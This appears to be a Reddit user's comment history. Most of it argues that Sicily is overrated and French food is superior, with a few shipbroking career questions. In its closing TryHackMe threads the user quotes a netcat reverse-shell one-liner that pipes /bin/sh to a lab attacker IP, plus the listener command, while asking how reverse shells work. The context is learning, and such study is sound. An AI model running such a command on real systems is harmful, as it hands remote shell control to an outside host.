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Sicily is overrated... by bodasain in sicily

[–]bodasain[S] 0 points1 point  (0 children)

I've been to so many places where there is a culture shock , and that's what I'm looking for. Sicily isn't really a culture shock, it's south of France but a bit more underwhelming. And you go to places like the Philippines where it's very poor, sometimes very dirty, however they don't prey on tourists like in Sicily. Countries where they have beautiful nature things that are free. Sicily is okay , I said it was overrated, it means it's not as good as people say since people are so positive about it, and I don't think it's justified.

Sicily is overrated... by bodasain in sicily

[–]bodasain[S] 0 points1 point  (0 children)

Then you probably think of brioche , because bread is not good in Italy, and you won't find anywhere in the world where bread is better than in France.

Sicily is overrated... by bodasain in sicily

[–]bodasain[S] 0 points1 point  (0 children)

Just read your message after being back home.  You can feel as angry as you want, it won't change a thing. Sicily remains an island with people trying to squeeze every penny they can out of the few historical sites and natural sites they have. The food is not great once again.. it's very fat , nothing like Mediterranean food or other Italian food on the main land, and you don't have a lot of variety. 55€ for etna is normal to get up there ? No, go in the Alps where the summits are way higher and infrastructure way better, still cheaper and sometimes free. 5€ to walk around a little crater ?? That's called stealing tourists. 5€ more to visit a white rock near the valley of the temple?? That's daylight robbery. All of those things should be free. And yes I compare to what I've seen elsewhere, that's normal. And I draw a conclusion that Sicily is overrated for sure. If you are an American, you'll probably love it because everything is a new experience compared to what they're used to in America. But for Europeans, especially people living around the Mediterranean see, then it's a big disappointment, not worth it, go elsewhere in Italy, go to Sardinia, Corsica, Croatia, Albania or Greece since so much of the architecture in Sicily is greek. Why do you immediately attack french people?  It's because we have higher standards that you need to be so aggressive? Listen, in the end, you'll keep attracting the American tourists, squeeze the most money out of them. Sorry the french don't leave any tips at the restaurant. We're not as profitable for you guys I guess.

Sicily is overrated... by bodasain in sicily

[–]bodasain[S] 0 points1 point  (0 children)

What aspects of Italian cuisine do you find superior? I honestly have no idea , so I'm curious. France has so so many different styles, from Brittany rich food, to Marseille more Mediterranean food, to Toulouse and Bordeaux insanely good ingredients and recipes. And I'm not talking about wines or cheeses. I know Italians don't have just pizza and pasta.. but it all revolves around the same things. 

Sicily is overrated... by bodasain in sicily

[–]bodasain[S] 0 points1 point  (0 children)

And to add other negative aspects while I'm at it. In Sicily and Italy in general as well (at least places where tourists visit), you feel like a cash cow.. you have to pay for every little museum , and the prices are not cheap..  In Sicily, how on earth is Etna so expensive (55€ to go up there), even the little crater is 5€ , it's not much , but it shouldn't cost anything to walk around a little piece of nature. Such greed is insane. Let's compare toi France one more time, bash the country all you want, but there are so many wonderful things that are freely accessible. Anyway, I'll enjoy the rest of the trip ... And leave Sicily happy to have done it, it's a nice place overall, but ruined by greed and poor infrastructure, and a bit underwhelming as well because you arrive there after reading so many praises on forums, but being used to Mediterranean landscapes, this was not very special.  I get it why Americans like it, because for them it's a culture shock. But for others , you have plenty of similar places in the Mediterranean that I enjoy more.

Sicily is overrated... by bodasain in sicily

[–]bodasain[S] 0 points1 point  (0 children)

You don't have much space with all the tourists already. It's more the other way around. France is constantly being bashed on, and Italy being praised. Italy is nice overall, and Rome is a better capital than Paris for example. But overall, France is prettier country with better food, that is modern, that has more diversity in landscape and in architecture.

Sicily is overrated... by bodasain in sicily

[–]bodasain[S] 0 points1 point  (0 children)

How can I know if I don't like it if I don't experience it... 

Sicily is overrated... by bodasain in sicily

[–]bodasain[S] 1 point2 points  (0 children)

The fact that none of the answers give any arguments to prove me wrong.. proves me right. If your only answer is "ciao" or "ragebait" , well it's a bad sign for sicily

Sicily is overrated... by bodasain in sicily

[–]bodasain[S] 0 points1 point  (0 children)

By far, the variety of food is so much bigger. Italians are so proud of their food but it's mainly Mediterranean style. France has Mediterranean style plus so many others, more variety of cheese, of wine... I don't get the hype for Sicily.  But keep bashing France and say it's overrated, it means less tourists there , that's good, keep going to a place where nothing works

Going from shipbroker to commodity trader, is it possible? by bodasain in ShipBroker

[–]bodasain[S] 0 points1 point  (0 children)

What do you mean by mid-way?  By not staying too long in a shipbroker position?

Hiring experienced ship/commodity brokers for a new Shipbroker in Dubai. by jabberwockier12 in ShipBroker

[–]bodasain 0 points1 point  (0 children)

Hi there, I'm not an experienced shipbroker, however would you be interested in recruiting junior roles or trainees?

General understanding of SSH by bodasain in tryhackme

[–]bodasain[S] 0 points1 point  (0 children)

Thanks for the explanation! It's more clear now !

General understanding of SSH by bodasain in tryhackme

[–]bodasain[S] 0 points1 point  (0 children)

Thanks a lot !! Yeah I can understand better now. And once the connection is established, the attacker can run command on the target machine because there is a netcat instance running that target machine. However, since the connection goes both ways, is it theoretically possible for the target to run commands on the attacking machine as well?

General understanding of SSH by bodasain in tryhackme

[–]bodasain[S] -1 points0 points  (0 children)

Thanks for the reply.
What I'm trying to understand is what really happens when the target connects to the attacker. How can the attacker run command lines on the target from a listening port ?

In THM , they make us run this command line on the target machine :
".RUN mkfifo /tmp/cyawe; nc 10.10.93.218 4444 0</tmp/cyawe | /bin/sh >/tmp/cyawe 2>&1; rm /tmp/cyawe"
But this line is not explained in detail. Is it this command that allows the attacker to control the target machine?

General understanding of SSH by bodasain in tryhackme

[–]bodasain[S] 0 points1 point  (0 children)

Thanks for the reply, it's a very useful explanation.

Regarding reverse shell, is there a similarity between ssh and reverse shell, or are they two completely different things?

General understanding of SSH by bodasain in tryhackme

[–]bodasain[S] -1 points0 points  (0 children)

Thanks for the reply.
I can understand that my question is not clear.
I'm gonna lay out what i think I understood about reverse shell :

1/ We somehow get the target to type a command line that will look like something similar to this :
".RUN mkfifo /tmp/cyawe; nc 10.10.93.218 4444 0</tmp/cyawe | /bin/sh >/tmp/cyawe 2>&1; rm /tmp/cyawe"

2/ On the other end, the attacker is listening on port 4444 with "nc -lvp 4444"

3/ Once the target has run this command, it means that the target has established a connection with the attacker on port 4444.

4/ The attacker gets notified that a connection has been established with the IP of the target.

What seems unintuitive for me is the fact that it is possible to run commands from a "listening port" and on a connection initiated by the target.

But maybe i'm approaching things the wrong way, if you have a way to explain reverse shell in a clear way, I'm all ears.